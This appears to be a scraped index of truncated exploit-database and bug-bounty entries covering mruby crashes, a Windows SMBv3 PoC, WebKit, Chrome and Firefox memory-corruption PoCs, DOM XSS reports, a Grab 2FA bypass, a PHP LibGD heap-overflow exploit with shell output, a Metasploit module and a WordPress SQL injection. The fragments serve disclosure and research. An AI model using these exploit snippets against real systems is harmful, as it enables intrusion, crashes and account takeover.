shopify-scripts: Denial of service (segfault) due to null pointer dereference in mrb_obj_instance_eval

Introduction ============ Provided PoC segfaults at mrbobjinstanceeval due to null pointer dereference. Proof of concept ================ Attached the poc. Crash report ============ ./sandbox eval.rb ./sandbox:20: BUG Segmentation fault at 0x00000000000003 ruby 2.3.1p112 2016-04-26 x8664-linux-gn...

Microsoft Windows 10 - SMBv3 Tree Connect (PoC)

Full Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41222.zip import sys, struct, SocketServer from odict import OrderedDict from datetime import datetime from calendar import timegm class Packet: fields = OrderedDict "data", "", def initself, k...

Apple WebKit HTMLFormElement::reset() Use-After-Free

Apple WebKit: HTMLFormElement::reset use-after free. CVE-2017-2362 PoC: ================================================================= function go output.value = "aaa"; output.appendChildinserteddiv; document.getElementById"output".addEventListener'DOMSubtreeModified', function forvar i=0; i f...

Microsoft Windows 10 - SMBv3 Tree Connect (PoC)

Microsoft Windows 10 - SMBv3 Tree Connect PoC Full Proof of Concept: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41222.zip import sys, struct, SocketServer from odict import OrderedDict from datetime import datetime from calendar import timegm class Packet:...

Google Chrome HTMLKeygenElement::shadowSelect() Type Confusion

Google Chrome: Type confusion in HTMLKeygenElement::shadowSelect Chrome bug: https://bugs.chromium.org/p/chromium/issues/detail?id=666246 PoC: var range = document.caretRangeFromPoint50, 50; var shadowtreecontainer = range.commonAncestorContainer; shadowtreecontainer.prepend"foo";...

Grab: Two-factor authentication bypass on Grab Android App

Description I found the endpoint using android app https://p.grabtaxi.com/api/passenger/v2/profiles/edit which allow me to bypass 2FA sms code due to lack of rate limiting\code expiration after unsuccessful attempts. The root cause of the problem it that facts: no rate limiting+ no code expiratio...

Firefox 50.0.2 after the release reuse vulnerability analysis CVE-2016-9899-a vulnerability warning-the black bar safety net

Author: k0shl reprint please indicate the source author blog:http://whereisk0shl. top Preface Small year has passed, New Year rhythm, give you worship a early years, a Happy New Year! Haven't come across such after the release reuse vulnerability, which vulnerability causes is a very classic...

Algolia: [github.algolia.com] DOM Based XSS github-btn.html

Description === Vulnerable parameter: user Vulnerable script: https://github.algolia.com/github-btn.html Vulnerable code: js var params = function for var t, e = , o = window.location.href.slicewindow.location.href.indexOf"?" + 1.split"&", r = 0; r HTMLHTMLHTMLHTMLHTMLHTML&type=follow PoC 2 XSS f...

Ubiquiti Inc.: [nutty.ubnt.com] DOM Based XSS nuttyapp github-btn.html

Description === Vulnerable parameter: user Vulnerable script: http://nutty.ubnt.com/github-btn.html Vulnerable code: js var params = function var vars = , hash; var hashes = window.location.href.slicewindow.location.href.indexOf'?' + 1.split'&'; forvar i = 0; i HTMLHTMLHTMLHTMLHTMLHTML&type=follo...

Microsoft Remote Desktop Client For Mac 8.0.36 Remote Code Execution

Advisory ID: SGMA16-004 Title: Microsoft Remote Desktop Client for Mac Remote Code Execution Product: Microsoft Remote Desktop Client for Mac Version: 8.0.36 and probably prior Vendor: www.microsoft.com Type: Arbitrary file read/write leads to RCE Risk level: 4 / 5 Credit:...

Informatica: [marketplace.informatica.com] Search XSS

The search query parameter is put into Javascript to set the localStorage item: https://marketplace.informatica.com/search-solr.jspa?q=%foo% javascript localStorage.setItem"searchTerm", "%foo%"; Attempts to inject XSS payloads are blocked by redirection that removes special chars from the URL: ht...

PHP LibGD Heap Buffer Overflow

!/usr/bin/env python2 PoC for CVE-2016-3074 targeting Ubuntu 15.10 x86-64 with php5-gd and php5-fpm running behind nginx. ,---- | $ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php | this may take a while | offset 912 of 10000... | + connected to 1.2.3.4:5555 | id | uid=33www-data...

DiskBoss Enterprise - GET Buffer Overflow (Metasploit)

This module requires Metasploit: http://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' class MetasploitModule 'DiskBoss Enterprise GET Buffer Overflow', 'Description' = %q This module exploits a stack-based buffer overflow vulnerability i...

Stop User Enumeration 1.3.5-1.3.7 - Unauthenticated Reflected Cross-Site Scripting (XSS)

The Stop User Enumeration WordPress plugin was affected by an Unauthenticated Reflected Cross-Site Scripting XSS security vulnerability. PoC http://www.example.com/?author=1...

Mozilla Firefox 50.1.0 - Use-After-Free

Mozilla Firefox 50.1.0 - Use-After-Free -- body background-color:lime; font-color:red; ; / Mozilla Firefox 50.1.0 Use-After-Free POC Author: Marcin Ressel Date: 13.01.2017 Vendor Homepage: www.mozilla.org Software Link: https://ftp.mozilla.org/pub/firefox/releases/50.0.2/ Version: 50.1.0 Tested o...

Mozilla Firefox Use-After-Free

-- body background-color:lime; font-color:red; ; / Mozilla Firefox 50.1.0 Use-After-Free POC Author: Marcin Ressel Date: 13.01.2017 Vendor Homepage: www.mozilla.org Software Link: https://ftp.mozilla.org/pub/firefox/releases/50.0.2/ Version: 50.1.0 Tested on: Windows 7 x64 Firefox 32 && 64 bit CV...

Wordpress cmw-speakers Plugin SQL injection Vulnerability

Exploit for php platform in category web applications |----------------------------| | xBADGIRL21 | | N3W PUBLIC 3XPL0IT | | , | | 0day T == -- | | /-' | | // | | x21 | |----------------------------| | Exploit Title : Wordpress cmw-speakers Plugin SQL injection Vulnerability | Exploit Author :...

shopify-scripts: Crash in print_backtrace

This crash does not affect mruby-engine because it does not print the back trace in guest. We can control the register by setting a backtrace array. PoC ruby exc = Exception.new exc.setbacktrace0x41414141 raise exc GDB $ gdb -q --args ./bin/mruby test12.rb Reading symbols from ./bin/mruby...done...

shopify-scripts: SIGSEGV - mrb_obj_extend - line:413

PoC: ------------------- The following code triggers the bug attached as testmrbobjextend413.rb: module Test end def methodmissingsextendTestend def setva.set0end set0 Mirb - Debug: ------------------- gdb r testmrbobjextend413.rb The program being debugged has been started already. Start it from...

shopify-scripts: SIGSEGV - mrb_vm_exec - line:1681

PoC: ------------------- The following code triggers the bug attached as testmrbvmexec1681.rb: def try yield ensure yield end a=lambda do a.try do return end end.call Mirb - Debug: ------------------- gdb r testmrbvmexec1678.rb The program being debugged has been started already. Start it from th...